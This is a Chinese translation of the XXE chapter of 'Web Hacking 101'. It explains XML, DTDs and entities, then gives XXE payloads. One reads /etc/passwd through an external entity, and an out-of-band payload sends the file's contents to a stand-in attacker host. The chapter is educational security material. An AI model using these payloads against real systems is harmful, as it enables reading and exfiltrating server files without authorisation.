天天看點

Web Hacking 101 中文版 十四、XML 外部實體注入(一)十四、XML 外部實體注入

十四、XML 外部實體注入

作者:Peter Yaworski

譯者:

飛龍 協定: CC BY-NC-SA 4.0

XML 外部實體(XXE)漏洞涉及利用應用解析 XML 輸入的方式,更具體來說,應用程式處理輸入中外部實體的包含方式。為了完全了解了解如何利用,以及他的潛力。我覺得我們最好首先了解什麼是 XML 和外部實體。

元語言是用于描述其它語言的語言,這就是 XML。它在 HTML 之後開發,來彌補 HTML 的不足。HTML 用于定義資料的展示,專注于它應該是什麼樣子。房子,XML 用于定義資料如何被組織。

例如,HTML 中,你的标簽為

<title>

,

<h1>

<table>

<p>

,以及其它。這些東西都用于定義内容如何展示。

<title>

用于定義頁面的标題,

<h1>

标簽定義了标題,

<table>

标簽按行和列展示資料,并且

<p>

表示為簡單文本。反之,XML 沒有預定義的标簽。建立 XML 文檔的人可以定義它們自己的标簽,來描述展示的内容。這裡是一個示例。

<?xml version="1.0" encoding="UTF-8"?> 
<jobs> 
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
    </job> 
</jobs>           

讀完了之後,你可以大緻猜測出 XML 文檔的目的 – 為了展示職位清單,但是如果它在 Web 頁面上展示,你不知道它看起來是什麼樣。XML 的第一行是一個聲明頭部,表示 XML 的版本,以及編碼類型。在編寫此文的時候,XML 有兩個版本,1.0 和 1.1。它們的具體差別超出了本書範圍,因為它們在你滲透的時候沒什麼影響。

在初始的頭部之後,标簽

<jobs>

位于所有其它

<job>

标簽的外面。

<job>

又包含

<title>

<compensation>

<responsibilities>

标簽。現在如果是 HTML,一些标簽并不需要(但最好有)閉合标簽(例如

<br>

),但是所有 XML 标簽都需要閉合标簽。同樣,選取上面的例子,

<jobs>

是個起始标簽,

</jobs>

是對應的閉合标簽。此外,每個标簽都有名稱,并且可以擁有屬性。使用标簽

<job>

,标簽名稱就是

job

,但是沒有屬性。另一方面,

<responsibility>

擁有名稱

responsibility

,并擁有屬性

optional

,由屬性名稱

optional

和值

1

組成。

由于任何人可以定義任何标簽,問題就來了,如果标簽可以是任何東西,任何一個人如何知道如何解析和使用 XML 文檔?好吧,一個有效的 XML 文檔之是以有效,是因為它遵循了 XML 的通用規則(我不需要列出它們,但是擁有閉合标簽是一個前面提過的例子),并且它比對了它的文檔類型定義(DTD)。DTD 是我們繼續深入的全部原因,因為它是允許我們作為黑客利用它的一個東西。

XML DTD 就像是所使用的标簽的定義文檔,并且由 XML 設計者或作者開發。使用上面的例子,我就是設計者,因為我在 XML 中定義了職位文檔。DTD 定義了存在什麼标簽,它們擁有什麼屬性,以及其它元素裡面有什麼元素,以及其他。當你或者我建立自己的 DTD 時,一些已經格式化了,并且廣泛用于 RSS、RDF、HL7 SGML/XML。以及其它。

下面是 DTD 檔案的樣子,它用于我的 XML。

<!ELEMENT Jobs (Job)*> 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> 
<!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0">           

看一看這個,你可能猜到了它大部分是啥意思。我們的

jobs

标簽實際上是 XML

!ELEMENT

,并且可以包含

job

元素。

job

是個

!ELEMENT

,可以包含标題、薪資和職責,這些也都是

!ELEMENT

,并且隻能包含字元資料(

#PCDATA

)。最後,

!ELEMENT responsibility

擁有一個可選屬性(

!ATTLIST

),預設值為 0。

并不是很難吧?除了 DTD,還有兩種還未讨論的重要标簽,

!DOCTYPE

!ENTITY

。到現在為止,我隻說了 DTD 檔案是我們 XML 的擴充。要記住上面的第一個例子,XML 文檔并不包含标簽定義,它由我們第二個例子的 DTD 來完成。但是,我們可以将 DTD 包含在 XML 文檔内,并且這樣做之後, XML 的第一行必須是

<!DOCTYPE>

元素。将我們的兩個例子組合起來,我們就會得到這樣的文檔:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Jobs [ 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0"> 
]> 
<jobs> 
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
    </job> 
</jobs>           

這裡,我們擁有了内部 DTD 聲明。要注意我們仍然使用一個聲明頭部開始,表示我們的文檔遵循 XML 1.0 和 UTF8 編碼。但是之後,我們為 XML 定義了要遵循的

DOCTYPE

。使用外部 DTD 是類似的,除了

!DOCTYPE

<!DOCTYPE note SYSTEM "jobs.dtd">

。XML 解析器在解析 XML 檔案時,之後會解析

jobs.dtd

的内容。這非常重要,因為

!ENTITY

标簽被近似處理,并且是我們利用的關鍵。

XML 實體像是一個資訊的占位符。再次使用我們之前的例子。,如果我們想讓每個職位都包含到我們網站的連結,每次都編寫位址簡直太麻煩了,尤其是 URL 可能改變的時候。反之,我們可以使用

!ENTITY

,并且讓解析器在解析時擷取内容,并插入到文檔中。你可以看看我們在哪裡這樣做。

與外部 DTD 文檔類似,我們可以更新我們的 XML 文檔來包含這個想法:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Jobs [ 
<!ELEMENT Job (Title, Compensation, Responsiblity, Website)> 
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0"> 
<!ELEMENT Website ANY> 
<!ENTITY url SYSTEM "website.txt"> 
]> 

<jobs>
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
        <website>&url;</website> 
    </job> 
</jobs>           

這裡你會注意到,我繼續并添加了

Website

!ELEMENT

,但是不是

#PCDATA

,而是

ANY

。這意味着

Website

可以包含任何可解析的資料組合。我也定義了一個

!ENTITY

,帶有

SYSTEM

屬性,告訴解析器擷取

wensite.txt

檔案的資料。現在一切都清楚了。

将它們放到一起,如果我包含了

/etc/passwd

,而不是

website.txt

,你覺得會發生什麼?你可能戶菜刀,我們的 XML 會被解析,并且伺服器敏感檔案

/etc/passwd

的内容會包含進我們的内容。但是我們是 XML 的作者,是以為什麼要這麼做呢?

好吧。當受害者的應用可以濫用,在 XML 的解析中包含這種外部實體時,XXE 攻擊就發生了。換句話說,應用有一些 XML 預期,但是在接收時卻不驗證它。是以,隻是解析他所得到的東西。例如,假設我正在運作一個職位公告闆,并允許你注冊并通過 XML 上傳職位。開發我的應用時,我可能使我的 DTD 檔案可以被你通路,并且假設你送出了符合需求的檔案。我沒有意識到它的危險,決定天真地解析收到的内容,并沒有任何驗證。但是作為一個黑客,你決定送出:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" > 
]> 
<foo>&xxe;</foo>           

就像你現在了解的那樣,當這個檔案被解析時,我的解析器會收到它,并且看到内部 DTD 定義了

foo

文檔類型,告訴它

foo

可以包含任何可解析的資料,并且有個

!ENTITY xxe

,它應該讀取我的

/etc/passwd

檔案(

file://

的用法表示

/etc/passwd

的完整的檔案 URL 路徑),并會将

&xxe;

替換為這個檔案的内容。之後你以定義

<foo>

标簽的有效 XML 結束了它,這會列印出我的伺服器資料。這就是 XXE 危險的原因。

但是等一下,還有更多的東西。如果應用不列印出回應,而是僅僅解析你的内容會怎麼樣?使用上面的例子,内容會解析但是永遠不會反回給我們。好吧,如果我們不包含本地檔案,而是打算和惡意伺服器通信會怎麼樣?像是這樣:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY % xxe SYSTEM "file:///etc/passwd" > 
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;"> 
]> 
<foo>&callhome;</foo>
           

在解釋它之前,你可能已經注意到我在

callhome

URL 中使用了

%

來代替

&

%xxe

。這是因為

%

用于實體在 DTD 定義内部被求值的情況,而

&

用于實體在 XML 文檔中被求值的情況。現在,當 XML 文檔被解析,

callhome !ENTITY

會讀取

/etc/passwd

的内容,并遠端調用

http://www.malicous.com

,将檔案内容作為 URL 參數來發送,因為我們控制了該伺服器,我們可以檢查我們的日志,并且足夠確定擁有了

/etc/passwd

的内容。Web 應用的遊戲就結束了。

是以,站點如何防範 XXE 漏洞?它們可以禁止解析任何外部實體。

連結

檢視

OWASP 外部實體(XXE)解析 XXE 速查表

繼續閱讀